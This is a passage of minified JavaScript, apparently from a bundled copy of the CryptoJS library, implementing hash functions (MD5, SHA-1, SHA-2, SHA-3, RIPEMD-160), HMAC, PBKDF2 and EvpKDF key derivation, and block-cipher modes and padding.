this._hash, c = s.words, a = 0; a < 4; a++) { var h = c[a]; c[a] = 16711935 & (h << 8 | h >>> 24) | 4278255360 & (h << 24 | h >>> 8) } return s }, clone: function () { var t = i.clone.call(this); return t._hash = this._hash.clone(), t } }); function z(t, e, r, i, n, o, s) { var c = t + (e & r | ~e & i) + n + s; return (c << o | c >>> 32 - o) + e } function A(t, e, r, i, n, o, s) { var c = t + (e & i | r & ~i) + n + s; return (c << o | c >>> 32 - o) + e } function C(t, e, r, i, n, o, s) { var c = t + (e ^ r ^ i) + n + s; return (c << o | c >>> 32 - o) + e } function D(t, e, r, i, n, o, s) { var c = t + (r ^ (e | ~i)) + n + s; return (c << o | c >>> 32 - o) + e } t.MD5 = i._createHelper(o), t.HmacMD5 = i._createHmacHelper(o) }(Math), e = (t = bt).lib, r = e.WordArray, i = e.Hasher, n = t.algo, f = [], o = n.SHA1 = i.extend({ _doReset: function () { this._hash = new r.init([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) }, _doProcessBlock: function (t, e) { for (var r = this._hash.words, i = r[0], n = r[1], o = r[2], s = r[3], c = r[4], a = 0; a < 80; a++) { if (a < 16) f[a] = 0 | t[e + a]; else { var h = f[a - 3] ^ f[a - 8] ^ f[a - 14] ^ f[a - 16]; f[a] = h << 1 | h >>> 31 } var l = (i << 5 | i >>> 27) + c + f[a]; l += a < 20 ? 1518500249 + (n & o | ~n & s) : a < 40 ? 1859775393 + (n ^ o ^ s) : a < 60 ? (n & o | n & s | o & s) - 1894007588 : (n ^ o ^ s) - 899497514, c = s, s = o, o = n << 30 | n >>> 2, n = i, i = l } r[0] = r[0] + i | 0, r[1] = r[1] + n | 0, r[2] = r[2] + o | 0, r[3] = r[3] + s | 0, r[4] = r[4] + c | 0 }, _doFinalize: function () { var t = this._data, e = t.words, r = 8 * this._nDataBytes, i = 8 * t.sigBytes; return e[i >>> 5] |= 128 << 24 - i % 32, e[14 + (64 + i >>> 9 << 4)] = Math.floor(r / 4294967296), e[15 + (64 + i >>> 9 << 4)] = r, t.sigBytes = 4 * e.length, this._process(), this._hash }, clone: function () { var t = i.clone.call(this); return t._hash = this._hash.clone(), t } }), t.SHA1 = i._createHelper(o), t.HmacSHA1 = i._createHmacHelper(o), function (n) { var t = bt, e = t.lib, r = e.WordArray, i = e.Hasher, o = t.algo, s = [], B = []; !function () { function t(t) { for (var e = n.sqrt(t), r = 2; r <= e; r++)if (!(t % r)) return; return 1 } function e(t) { return 4294967296 * (t - (0 | t)) | 0 } for (var r = 2, i = 0; i < 64;)t(r) && (i < 8 && (s[i] = e(n.pow(r, .5))), B[i] = e(n.pow(r, 1 / 3)), i++), r++ }(); var w = [], c = o.SHA256 = i.extend({ _doReset: function () { this._hash = new r.init(s.slice(0)) }, _doProcessBlock: function (t, e) { for (var r = this._hash.words, i = r[0], n = r[1], o = r[2], s = r[3], c = r[4], a = r[5], h = r[6], l = r[7], f = 0; f < 64; f++) { if (f < 16) w[f] = 0 | t[e + f]; else { var d = w[f - 15], u = (d << 25 | d >>> 7) ^ (d << 14 | d >>> 18) ^ d >>> 3, p = w[f - 2], _ = (p << 15 | p >>> 17) ^ (p << 13 | p >>> 19) ^ p >>> 10; w[f] = u + w[f - 7] + _ + w[f - 16] } var v = i & n ^ i & o ^ n & o, y = (i << 30 | i >>> 2) ^ (i << 19 | i >>> 13) ^ (i << 10 | i >>> 22), g = l + ((c << 26 | c >>> 6) ^ (c << 21 | c >>> 11) ^ (c << 7 | c >>> 25)) + (c & a ^ ~c & h) + B[f] + w[f]; l = h, h = a, a = c, c = s + g | 0, s = o, o = n, n = i, i = g + (y + v) | 0 } r[0] = r[0] + i | 0, r[1] = r[1] + n | 0, r[2] = r[2] + o | 0, r[3] = r[3] + s | 0, r[4] = r[4] + c | 0, r[5] = r[5] + a | 0, r[6] = r[6] + h | 0, r[7] = r[7] + l | 0 }, _doFinalize: function () { var t = this._data, e = t.words, r = 8 * this._nDataBytes, i = 8 * t.sigBytes; return e[i >>> 5] |= 128 << 24 - i % 32, e[14 + (64 + i >>> 9 << 4)] = n.floor(r / 4294967296), e[15 + (64 + i >>> 9 << 4)] = r, t.sigBytes = 4 * e.length, this._process(), this._hash }, clone: function () { var t = i.clone.call(this); return t._hash = this._hash.clone(), t } }); t.SHA256 = i._createHelper(c), t.HmacSHA256 = i._createHmacHelper(c) }(Math), function () { var n = bt.lib.WordArray, t = bt.enc; t.Utf16 = t.Utf16BE = { stringify: function (t) { for (var e = t.words, r = t.sigBytes, i = [], n = 0; n < r; n += 2) { var o = e[n >>> 2] >>> 16 - n % 4 * 8 & 65535; i.push(String.fromCharCode(o)) } return i.join("") }, parse: function (t) { for (var e = t.length, r = [], i = 0; i < e; i++)r[i >>> 1] |= t.charCodeAt(i) << 16 - i % 2 * 16; return n.create(r, 2 * e) } }; function s(t) { return t << 8 & 4278255360 | t >>> 8 & 16711935 } t.Utf16LE = { stringify: function (t) { for (var e = t.words, r = t.sigBytes, i = [], n = 0; n < r; n += 2) { var o = s(e[n >>> 2] >>> 16 - n % 4 * 8 & 65535); i.push(String.fromCharCode(o)) } return i.join("") }, parse: function (t) { for (var e = t.length, r = [], i = 0; i < e; i++)r[i >>> 1] |= s(t.charCodeAt(i) << 16 - i % 2 * 16); return n.create(r, 2 * e) } } }(), function () { if ("function" == typeof ArrayBuffer) { var t = bt.lib.WordArray, n = t.init; (t.init = function (t) { if (t instanceof ArrayBuffer && (t = new Uint8Array(t)), (t instanceof Int8Array || "undefined" != typeof Uint8ClampedArray && t instanceof Uint8ClampedArray || t instanceof Int16Array || t instanceof Uint16Array || t instanceof Int32Array || t instanceof Uint32Array || t instanceof Float32Array || t instanceof Float64Array) && (t = new Uint8Array(t.buffer, t.byteOffset, t.byteLength)), t instanceof Uint8Array) { for (var e = t.byteLength, r = [], i = 0; i < e; i++)r[i >>> 2] |= t[i] << 24 - i % 4 * 8; n.call(this, r, e) } else n.apply(this, arguments) }).prototype = t } }(), Math, c = (s = bt).lib, a = c.WordArray, l = c.Hasher, d = s.algo, m = a.create([0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 7, 4, 13, 1, 10, 6, 15, 3, 12, 0, 9, 5, 2, 14, 11, 8, 3, 10, 14, 4, 9, 15, 8, 1, 2, 7, 0, 6, 13, 11, 5, 12, 1, 9, 11, 10, 0, 8, 12, 4, 13, 3, 7, 15, 14, 5, 6, 2, 4, 0, 5, 9, 7, 12, 2, 10, 14, 1, 3, 8, 11, 6, 15, 13]), x = a.create([5, 14, 7, 0, 9, 2, 11, 4, 13, 6, 15, 8, 1, 10, 3, 12, 6, 11, 3, 7, 0, 13, 5, 10, 14, 15, 8, 12, 4, 9, 1, 2, 15, 5, 1, 3, 7, 14, 6, 9, 11, 8, 12, 2, 10, 0, 4, 13, 8, 6, 4, 1, 3, 11, 15, 0, 5, 12, 2, 13, 9, 7, 10, 14, 12, 15, 10, 4, 1, 5, 8, 7, 6, 2, 13, 14, 0, 3, 9, 11]), b = a.create([11, 14, 15, 12, 5, 8, 7, 9, 11, 13, 14, 15, 6, 7, 9, 8, 7, 6, 8, 13, 11, 9, 7, 15, 7, 12, 15, 9, 11, 7, 13, 12, 11, 13, 6, 7, 14, 9, 13, 15, 14, 8, 13, 6, 5, 12, 7, 5, 11, 12, 14, 15, 14, 15, 9, 8, 9, 14, 5, 6, 8, 6, 5, 12, 9, 15, 5, 11, 6, 8, 13, 12, 5, 12, 13, 14, 11, 8, 5, 6]), H = a.create([8, 9, 9, 11, 13, 15, 15, 5, 7, 7, 8, 11, 14, 14, 12, 6, 9, 13, 15, 7, 12, 8, 9, 11, 7, 7, 12, 7, 6, 15, 13, 11, 9, 7, 15, 11, 8, 6, 6, 14, 12, 13, 5, 14, 13, 13, 7, 5, 15, 5, 8, 11, 14, 14, 6, 14, 6, 9, 12, 9, 12, 5, 15, 8, 8, 5, 12, 9, 12, 5, 14, 6, 8, 13, 6, 5, 15, 13, 11, 11]), z = a.create([0, 1518500249, 1859775393, 2400959708, 2840853838]), A = a.create([1352829926, 1548603684, 1836072691, 2053994217, 0]), u = d.RIPEMD160 = l.extend({ _doReset: function () { this._hash = a.create([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) }, _doProcessBlock: function (t, e) { for (var r = 0; r < 16; r++) { var i = e + r, n = t[i]; t[i] = 16711935 & (n << 8 | n >>> 24) | 4278255360 & (n << 24 | n >>> 8) } var o, s, c, a, h, l, f, d, u, p, _, v = this._hash.words, y = z.words, g = A.words, B = m.words, w = x.words, k = b.words, S = H.words; l = o = v[0], f = s = v[1], d = c = v[2], u = a = v[3], p = h = v[4]; for (r = 0; r < 80; r += 1)_ = o + t[e + B[r]] | 0, _ += r < 16 ? mt(s, c, a) + y[0] : r < 32 ? xt(s, c, a) + y[1] : r < 48 ? Ht(s, c, a) + y[2] : r < 64 ? zt(s, c, a) + y[3] : At(s, c, a) + y[4], _ = (_ = Ct(_ |= 0, k[r])) + h | 0, o = h, h = a, a = Ct(c, 10), c = s, s = _, _ = l + t[e + w[r]] | 0, _ += r < 16 ? At(f, d, u) + g[0] : r < 32 ? zt(f, d, u) + g[1] : r < 48 ? Ht(f, d, u) + g[2] : r < 64 ? xt(f, d, u) + g[3] : mt(f, d, u) + g[4], _ = (_ = Ct(_ |= 0, S[r])) + p | 0, l = p, p = u, u = Ct(d, 10), d = f, f = _; _ = v[1] + c + u | 0, v[1] = v[2] + a + p | 0, v[2] = v[3] + h + l | 0, v[3] = v[4] + o + f | 0, v[4] = v[0] + s + d | 0, v[0] = _ }, _doFinalize: function () { var t = this._data, e = t.words, r = 8 * this._nDataBytes, i = 8 * t.sigBytes; e[i >>> 5] |= 128 << 24 - i % 32, e[14 + (64 + i >>> 9 << 4)] = 16711935 & (r << 8 | r >>> 24) | 4278255360 & (r << 24 | r >>> 8), t.sigBytes = 4 * (e.length + 1), this._process(); for (var n = this._hash, o = n.words, s = 0; s < 5; s++) { var c = o[s]; o[s] = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8) } return n }, clone: function () { var t = l.clone.call(this); return t._hash = this._hash.clone(), t } }), s.RIPEMD160 = l._createHelper(u), s.HmacRIPEMD160 = l._createHmacHelper(u), p = bt.lib.Base, _ = bt.enc.Utf8, bt.algo.HMAC = p.extend({ init: function (t, e) { t = this._hasher = new t.init, "string" == typeof e && (e = _.parse(e)); var r = t.blockSize, i = 4 * r; e.sigBytes > i && (e = t.finalize(e)), e.clamp(); for (var n = this._oKey = e.clone(), o = this._iKey = e.clone(), s = n.words, c = o.words, a = 0; a < r; a++)s[a] ^= 1549556828, c[a] ^= 909522486; n.sigBytes = o.sigBytes = i, this.reset() }, reset: function () { var t = this._hasher; t.reset(), t.update(this._iKey) }, update: function (t) { return this._hasher.update(t), this }, finalize: function (t) { var e = this._hasher, r = e.finalize(t); return e.reset(), e.finalize(this._oKey.clone().concat(r)) } }), y = (v = bt).lib, g = y.Base, B = y.WordArray, w = v.algo, k = w.SHA1, S = w.HMAC, C = w.PBKDF2 = g.extend({ cfg: g.extend({ keySize: 4, hasher: k, iterations: 1 }), init: function (t) { this.cfg = this.cfg.extend(t) }, compute: function (t, e) { for (var r = this.cfg, i = S.create(r.hasher, t), n = B.create(), o = B.create([1]), s = n.words, c = o.words, a = r.keySize, h = r.iterations; s.length < a;) { var l = i.update(e).finalize(o); i.reset(); for (var f = l.words, d = f.length, u = l, p = 1; p < h; p++) { u = i.finalize(u), i.reset(); for (var _ = u.words, v = 0; v < d; v++)f[v] ^= _[v] } n.concat(l), c[0]++ } return n.sigBytes = 4 * a, n } }), v.PBKDF2 = function (t, e, r) { return C.create(r).compute(t, e) }, E = (D = bt).lib, R = E.Base, M = E.WordArray, F = D.algo, P = F.MD5, W = F.EvpKDF = R.extend({ cfg: R.extend({ keySize: 4, hasher: P, iterations: 1 }), init: function (t) { this.cfg = this.cfg.extend(t) }, compute: function (t, e) { for (var r, i = this.cfg, n = i.hasher.create(), o = M.create(), s = o.words, c = i.keySize, a = i.iterations; s.length < c;) { r && n.update(r), r = n.update(t).finalize(e), n.reset(); for (var h = 1; h < a; h++)r = n.finalize(r), n.reset(); o.concat(r) } return o.sigBytes = 4 * c, o } }), D.EvpKDF = function (t, e, r) { return W.create(r).compute(t, e) }, I = (O = bt).lib.WordArray, U = O.algo, K = U.SHA256, X = U.SHA224 = K.extend({ _doReset: function () { this._hash = new I.init([3238371032, 914150663, 812702999, 4144912697, 4290775857, 1750603025, 1694076839, 3204075428]) }, _doFinalize: function () { var t = K._doFinalize.call(this); return t.sigBytes -= 4, t } }), O.SHA224 = K._createHelper(X), O.HmacSHA224 = K._createHmacHelper(X), L = bt.lib, j = L.Base, N = L.WordArray, (T = bt.x64 = {}).Word = j.extend({ init: function (t, e) { this.high = t, this.low = e } }), T.WordArray = j.extend({ init: function (t, e) { t = this.words = t || [], this.sigBytes = null != e ? e : 8 * t.length }, toX32: function () { for (var t = this.words, e = t.length, r = [], i = 0; i < e; i++) { var n = t[i]; r.push(n.high), r.push(n.low) } return N.create(r, this.sigBytes) }, clone: function () { for (var t = j.clone.call(this), e = t.words = this.words.slice(0), r = e.length, i = 0; i < r; i++)e[i] = e[i].clone(); return t } }), function (d) { var t = bt, e = t.lib, u = e.WordArray, i = e.Hasher, l = t.x64.Word, r = t.algo, C = [], D = [], E = []; !function () { for (var t = 1, e = 0, r = 0; r < 24; r++) { C[t + 5 * e] = (r + 1) * (r + 2) / 2 % 64; var i = (2 * t + 3 * e) % 5; t = e % 5, e = i } for (t = 0; t < 5; t++)for (e = 0; e < 5; e++)D[t + 5 * e] = e + (2 * t + 3 * e) % 5 * 5; for (var n = 1, o = 0; o < 24; o++) { for (var s = 0, c = 0, a = 0; a < 7; a++) { if (1 & n) { var h = (1 << a) - 1; h < 32 ? c ^= 1 << h : s ^= 1 << h - 32 } 128 & n ? n = n << 1 ^ 113 : n <<= 1 } E[o] = l.create(s, c) } }(); var R = []; !function () { for (var t = 0; t < 25; t++)R[t] = l.create() }(); var n = r.SHA3 = i.extend({ cfg: i.cfg.extend({ outputLength: 512 }), _doReset: function () { for (var t = this._state = [], e = 0; e < 25; e++)t[e] = new l.init; this.blockSize = (1600 - 2 * this.cfg.outputLength) / 32 }, _doProcessBlock: function (t, e) { for (var r = this._state, i = this.blockSize / 2, n = 0; n < i; n++) { var o = t[e + 2 * n], s = t[e + 2 * n + 1]; o = 16711935 & (o << 8 | o >>> 24) | 4278255360 & (o << 24 | o >>> 8), s = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8), (x = r[n]).high ^= s, x.low ^= o } for (var c = 0; c < 24; c++) { for (var a = 0; a < 5; a++) { for (var h = 0, l = 0, f = 0; f < 5; f++) { h ^= (x = r[a + 5 * f]).high, l ^= x.low } var d = R[a]; d.high = h, d.low = l } for (a = 0; a < 5; a++) { var u = R[(a + 4) % 5], p = R[(a + 1) % 5], _ = p.high, v = p.low; for (h = u.high ^ (_ << 1 | v >>> 31), l = u.low ^ (v << 1 | _ >>> 31), f = 0; f < 5; f++) { (x = r[a + 5 * f]).high ^= h, x.low ^= l } } for (var y = 1; y < 25; y++) { var g = (x = r[y]).high, B = x.low, w = C[y]; l = w < 32 ? (h = g << w | B >>> 32 - w, B << w | g >>> 32 - w) : (h = B << w - 32 | g >>> 64 - w, g << w - 32 | B >>> 64 - w); var k = R[D[y]]; k.high = h, k.low = l } var S = R[0], m = r[0]; S.high = m.high, S.low = m.low; for (a = 0; a < 5; a++)for (f = 0; f < 5; f++) { var x = r[y = a + 5 * f], b = R[y], H = R[(a + 1) % 5 + 5 * f], z = R[(a + 2) % 5 + 5 * f]; x.high = b.high ^ ~H.high & z.high, x.low = b.low ^ ~H.low & z.low } x = r[0]; var A = E[c]; x.high ^= A.high, x.low ^= A.low } }, _doFinalize: function () { var t = this._data, e = t.words, r = (this._nDataBytes, 8 * t.sigBytes), i = 32 * this.blockSize; e[r >>> 5] |= 1 << 24 - r % 32, e[(d.ceil((1 + r) / i) * i >>> 5) - 1] |= 128, t.sigBytes = 4 * e.length, this._process(); for (var n = this._state, o = this.cfg.outputLength / 8, s = o / 8, c = [], a = 0; a < s; a++) { var h = n[a], l = h.high, f = h.low; l = 16711935 & (l << 8 | l >>> 24) | 4278255360 & (l << 24 | l >>> 8), f = 16711935 & (f << 8 | f >>> 24) | 4278255360 & (f << 24 | f >>> 8), c.push(f), c.push(l) } return new u.init(c, o) }, clone: function () { for (var t = i.clone.call(this), e = t._state = this._state.slice(0), r = 0; r < 25; r++)e[r] = e[r].clone(); return t } }); t.SHA3 = i._createHelper(n), t.HmacSHA3 = i._createHmacHelper(n) }(Math), function () { var t = bt, e = t.lib.Hasher, r = t.x64, i = r.Word, n = r.WordArray, o = t.algo; function s() { return i.create.apply(i, arguments) } var mt = [s(1116352408, 3609767458), s(1899447441, 602891725), s(3049323471, 3964484399), s(3921009573, 2173295548), s(961987163, 4081628472), s(1508970993, 3053834265), s(2453635748, 2937671579), s(2870763221, 3664609560), s(3624381080, 2734883394), s(310598401, 1164996542), s(607225278, 1323610764), s(1426881987, 3590304994), s(1925078388, 4068182383), s(2162078206, 991336113), s(2614888103, 633803317), s(3248222580, 3479774868), s(3835390401, 2666613458), s(4022224774, 944711139), s(264347078, 2341262773), s(604807628, 2007800933), s(770255983, 1495990901), s(1249150122, 1856431235), s(1555081692, 3175218132), s(1996064986, 2198950837), s(2554220882, 3999719339), s(2821834349, 766784016), s(2952996808, 2566594879), s(3210313671, 3203337956), s(3336571891, 1034457026), s(3584528711, 2466948901), s(113926993, 3758326383), s(338241895, 168717936), s(666307205, 1188179964), s(773529912, 1546045734), s(1294757372, 1522805485), s(1396182291, 2643833823), s(1695183700, 2343527390), s(1986661051, 1014477480), s(2177026350, 1206759142), s(2456956037, 344077627), s(2730485921, 1290863460), s(2820302411, 3158454273), s(3259730800, 3505952657), s(3345764771, 106217008), s(3516065817, 3606008344), s(3600352804, 1432725776), s(4094571909, 1467031594), s(275423344, 851169720), s(430227734, 3100823752), s(506948616, 1363258195), s(659060556, 3750685593), s(883997877, 3785050280), s(958139571, 3318307427), s(1322822218, 3812723403), s(1537002063, 2003034995), s(1747873779, 3602036899), s(1955562222, 1575990012), s(2024104815, 1125592928), s(2227730452, 2716904306), s(2361852424, 442776044), s(2428436474, 593698344), s(2756734187, 3733110249), s(3204031479, 2999351573), s(3329325298, 3815920427), s(3391569614, 3928383900), s(3515267271, 566280711), s(3940187606, 3454069534), s(4118630271, 4000239992), s(116418474, 1914138554), s(174292421, 2731055270), s(289380356, 3203993006), s(460393269, 320620315), s(685471733, 587496836), s(852142971, 1086792851), s(1017036298, 365543100), s(1126000580, 2618297676), s(1288033470, 3409855158), s(1501505948, 4234509866), s(1607167915, 987167468), s(1816402316, 1246189591)], xt = []; !function () { for (var t = 0; t < 80; t++)xt[t] = s() }(); var c = o.SHA512 = e.extend({ _doReset: function () { this._hash = new n.init([new i.init(1779033703, 4089235720), new i.init(3144134277, 2227873595), new i.init(1013904242, 4271175723), new i.init(2773480762, 1595750129), new i.init(1359893119, 2917565137), new i.init(2600822924, 725511199), new i.init(528734635, 4215389547), new i.init(1541459225, 327033209)]) }, _doProcessBlock: function (t, e) { for (var r = this._hash.words, i = r[0], n = r[1], o = r[2], s = r[3], c = r[4], a = r[5], h = r[6], l = r[7], f = i.high, d = i.low, u = n.high, p = n.low, _ = o.high, v = o.low, y = s.high, g = s.low, B = c.high, w = c.low, k = a.high, S = a.low, m = h.high, x = h.low, b = l.high, H = l.low, z = f, A = d, C = u, D = p, E = _, R = v, M = y, F = g, P = B, W = w, O = k, I = S, U = m, K = x, X = b, L = H, j = 0; j < 80; j++) { var N, T, q = xt[j]; if (j < 16) T = q.high = 0 | t[e + 2 * j], N = q.low = 0 | t[e + 2 * j + 1]; else { var Z = xt[j - 15], V = Z.high, G = Z.low, J = (V >>> 1 | G << 31) ^ (V >>> 8 | G << 24) ^ V >>> 7, $ = (G >>> 1 | V << 31) ^ (G >>> 8 | V << 24) ^ (G >>> 7 | V << 25), Q = xt[j - 2], Y = Q.high, tt = Q.low, et = (Y >>> 19 | tt << 13) ^ (Y << 3 | tt >>> 29) ^ Y >>> 6, rt = (tt >>> 19 | Y << 13) ^ (tt << 3 | Y >>> 29) ^ (tt >>> 6 | Y << 26), it = xt[j - 7], nt = it.high, ot = it.low, st = xt[j - 16], ct = st.high, at = st.low; T = (T = (T = J + nt + ((N = $ + ot) >>> 0 < $ >>> 0 ? 1 : 0)) + et + ((N += rt) >>> 0 < rt >>> 0 ? 1 : 0)) + ct + ((N += at) >>> 0 < at >>> 0 ? 1 : 0), q.high = T, q.low = N } var ht, lt = P & O ^ ~P & U, ft = W & I ^ ~W & K, dt = z & C ^ z & E ^ C & E, ut = A & D ^ A & R ^ D & R, pt = (z >>> 28 | A << 4) ^ (z << 30 | A >>> 2) ^ (z << 25 | A >>> 7), _t = (A >>> 28 | z << 4) ^ (A << 30 | z >>> 2) ^ (A << 25 | z >>> 7), vt = (P >>> 14 | W << 18) ^ (P >>> 18 | W << 14) ^ (P << 23 | W >>> 9), yt = (W >>> 14 | P << 18) ^ (W >>> 18 | P << 14) ^ (W << 23 | P >>> 9), gt = mt[j], Bt = gt.high, wt = gt.low, kt = X + vt + ((ht = L + yt) >>> 0 < L >>> 0 ? 1 : 0), St = _t + ut; X = U, L = K, U = O, K = I, O = P, I = W, P = M + (kt = (kt = (kt = kt + lt + ((ht = ht + ft) >>> 0 < ft >>> 0 ? 1 : 0)) + Bt + ((ht = ht + wt) >>> 0 < wt >>> 0 ? 1 : 0)) + T + ((ht = ht + N) >>> 0 < N >>> 0 ? 1 : 0)) + ((W = F + ht | 0) >>> 0 < F >>> 0 ? 1 : 0) | 0, M = E, F = R, E = C, R = D, C = z, D = A, z = kt + (pt + dt + (St >>> 0 < _t >>> 0 ? 1 : 0)) + ((A = ht + St | 0) >>> 0 < ht >>> 0 ? 1 : 0) | 0 } d = i.low = d + A, i.high = f + z + (d >>> 0 < A >>> 0 ? 1 : 0), p = n.low = p + D, n.high = u + C + (p >>> 0 < D >>> 0 ? 1 : 0), v = o.low = v + R, o.high = _ + E + (v >>> 0 < R >>> 0 ? 1 : 0), g = s.low = g + F, s.high = y + M + (g >>> 0 < F >>> 0 ? 1 : 0), w = c.low = w + W, c.high = B + P + (w >>> 0 < W >>> 0 ? 1 : 0), S = a.low = S + I, a.high = k + O + (S >>> 0 < I >>> 0 ? 1 : 0), x = h.low = x + K, h.high = m + U + (x >>> 0 < K >>> 0 ? 1 : 0), H = l.low = H + L, l.high = b + X + (H >>> 0 < L >>> 0 ? 1 : 0) }, _doFinalize: function () { var t = this._data, e = t.words, r = 8 * this._nDataBytes, i = 8 * t.sigBytes; return e[i >>> 5] |= 128 << 24 - i % 32, e[30 + (128 + i >>> 10 << 5)] = Math.floor(r / 4294967296), e[31 + (128 + i >>> 10 << 5)] = r, t.sigBytes = 4 * e.length, this._process(), this._hash.toX32() }, clone: function () { var t = e.clone.call(this); return t._hash = this._hash.clone(), t }, blockSize: 32 }); t.SHA512 = e._createHelper(c), t.HmacSHA512 = e._createHmacHelper(c) }(), Z = (q = bt).x64, V = Z.Word, G = Z.WordArray, J = q.algo, $ = J.SHA512, Q = J.SHA384 = $.extend({ _doReset: function () { this._hash = new G.init([new V.init(3418070365, 3238371032), new V.init(1654270250, 914150663), new V.init(2438529370, 812702999), new V.init(355462360, 4144912697), new V.init(1731405415, 4290775857), new V.init(2394180231, 1750603025), new V.init(3675008525, 1694076839), new V.init(1203062813, 3204075428)]) }, _doFinalize: function () { var t = $._doFinalize.call(this); return t.sigBytes -= 16, t } }), q.SHA384 = $._createHelper(Q), q.HmacSHA384 = $._createHmacHelper(Q), bt.lib.Cipher || function () { var t = bt, e = t.lib, r = e.Base, a = e.WordArray, i = e.BufferedBlockAlgorithm, n = t.enc, o = (n.Utf8, n.Base64), s = t.algo.EvpKDF, c = e.Cipher = i.extend({ cfg: r.extend(), createEncryptor: function (t, e) { return this.create(this._ENC_XFORM_MODE, t, e) }, createDecryptor: function (t, e) { return this.create(this._DEC_XFORM_MODE, t, e) }, init: function (t, e, r) { this.cfg = this.cfg.extend(r), this._xformMode = t, this._key = e, this.reset() }, reset: function () { i.reset.call(this), this._doReset() }, process: function (t) { return this._append(t), this._process() }, finalize: function (t) { return t && this._append(t), this._doFinalize() }, keySize: 4, ivSize: 4, _ENC_XFORM_MODE: 1, _DEC_XFORM_MODE: 2, _createHelper: function (i) { return { encrypt: function (t, e, r) { return h(e).encrypt(i, t, e, r) }, decrypt: function (t, e, r) { return h(e).decrypt(i, t, e, r) } } } }); function h(t) { return "string" == typeof t ? w : g } e.StreamCipher = c.extend({ _doFinalize: function () { return this._process(!0) }, blockSize: 1 }); var l, f = t.mode = {}, d = e.BlockCipherMode = r.extend({ createEncryptor: function (t, e) { return this.Encryptor.create(t, e) }, createDecryptor: function (t, e) { return this.Decryptor.create(t, e) }, init: function (t, e) { this._cipher = t, this._iv = e } }), u = f.CBC = ((l = d.extend()).Encryptor = l.extend({ processBlock: function (t, e) { var r = this._cipher, i = r.blockSize; p.call(this, t, e, i), r.encryptBlock(t, e), this._prevBlock = t.slice(e, e + i) } }), l.Decryptor = l.extend({ processBlock: function (t, e) { var r = this._cipher, i = r.blockSize, n = t.slice(e, e + i); r.decryptBlock(t, e), p.call(this, t, e, i), this._prevBlock = n } }), l); function p(t, e, r) { var i, n = this._iv; n ? (i = n, this._iv = void 0) : i = this._prevBlock; for (var o = 0; o < r; o++)t[e + o] ^= i[o] } var _ = (t.pad = {}).Pkcs7 = { pad: function (t, e) { for (var r = 4 * e, i = r - t.sigBytes % r, n = i << 24 | i << 16 | i << 8 | i, o = [], s = 0; s < i; s += 4)o.push(n); var c = a.create(o, i); t.concat(c) }, unpad: function (t) { var e = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= e } }, v = (e.BlockCipher = c.extend({ cfg: c.cfg.extend({ mode: u, padding: _ }), reset: function () { var t; c.reset.call(this); var e = this.cfg, r = e.iv, i = e.mode; this._xformMode == this._ENC_XFORM_MODE ? t = i.createEncryptor : (t = i.createDecryptor, this._minBufferSize = 1), this._mode && this._mode.__creator == t ? this._mode.init(this, r && r.words) : (this._mode = t.call(i, this, r && r.words), this._mode.__creator = t) }, _doProcessBlock: function (t, e) { this._mode.processBlock(t, e) }, _doFinalize: function () { var t, e = this.cfg.padding; return this._xformMode == this._ENC_XFORM_MODE ? (e.pad(this._data, this.blockSize), t = this._process(!0)) : (t = this._process(!0), e.unpad(t)), t }, blockSize: 4 }), e.CipherParams = r.extend({ init: function (t) { this.mixIn(t) }, toString: function (t) { return (t || this.formatter).stringify(this) } })), y = (t.format = {}).OpenSSL = { stringify: function (t) { var e = t.ciphertext, r = t.salt; return (r ? a.create([1398893684, 1701076831]).concat(r).concat(e) : e).toString(o) }, parse: function (t) { var e, r = o.parse(t), i = r.words; return 1398893684 == i[0] && 1701076831 == i[1] && (e = a.create(i.slice(2, 4)), i.splice(0, 4), r.sigBytes -= 16), v.create({ ciphertext: r, salt: e }) } }, g = e.SerializableCipher = r.extend({ cfg: r.extend({ format: y }), encrypt: function (t, e, r, i) { i = this.cfg.extend(i); var n = t.createEncryptor(r, i), o = n.finalize(e), s = n.cfg; return v.create({ ciphertext: o, key: r, iv: s.iv, algorithm: t, mode: s.mode, padding: s.padding, blockSize: t.blockSize, formatter: i.format }) }, decrypt: function (t, e, r, i) { return i = this.cfg.extend(i), e = this._parse(e, i.format), t.createDecryptor(r, i).finalize(e.ciphertext) }, _parse: function (t, e) { return "string" == typeof t ? e.parse(t, this) : t } }), B = (t.kdf = {}).OpenSSL = { execute: function (t, e, r, i) { i = i || a.random(8); var n = s.create({ keySize: e + r }).compute(t, i), o = a.create(n.words.slice(e), 4 * r); return n.sigBytes = 4 * e, v.create({ key: n, iv: o, salt: i }) } }, w = e.PasswordBasedCipher = g.extend({ cfg: g.cfg.extend({ kdf: B }), encrypt: function (t, e, r, i) { var n = (i = this.cfg.extend(i)).kdf.execute(r, t.keySize, t.ivSize); i.iv = n.iv; var o = g.encrypt.call(this, t, e, n.key, i); return o.mixIn(n), o }, decrypt: function (t, e, r, i) { i = this.cfg.extend(i), e = this._parse(e, i.format); var n = i.kdf.execute(r, t.keySize, t.ivSize, e.salt); return i.iv = n.iv, g.decrypt.call(this, t, e, n.key, i) } }) }(), bt.mode.CFB = ((Y = bt.lib.BlockCipherMode.extend()).Encryptor = Y.extend({ processBlock: function (t, e) { var r = this._cipher, i = r.blockSize; Dt.call(this, t, e, i, r), this._prevBlock = t.slice(e, e + i) } }), Y.Decryptor = Y.extend({ processBlock: function (t, e) { var r = this._cipher, i = r.blockSize, n = t.slice(e, e + i); Dt.call(this, t, e, i, r), this._prevBlock = n } }), Y), bt.mode.ECB = ((tt = bt.lib.BlockCipherMode.extend()).Encryptor = tt.extend({ processBlock: function (t, e) { this._cipher.encryptBlock(t, e) } }), tt.Decryptor = tt.extend({ processBlock: function (t, e) { this._cipher.decryptBlock(t, e) } }), tt), bt.pad.AnsiX923 = { pad: function (t, e) { var r = t.sigBytes, i = 4 * e, n = i - r % i, o = r + n - 1; t.clamp(), t.words[o >>> 2] |= n << 24 - o % 4 * 8, t.sigBytes += n }, unpad: function (t) { var e = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= e } }, bt.pad.Iso10126 = { pad: function (t, e) { var r = 4 * e, i = r - t.sigBytes % r; t.concat(bt.lib.WordArray.random(i - 1)).concat(bt.lib.WordArray.create([i << 24], 1)) }, unpad: function (t) { var e = 255 & 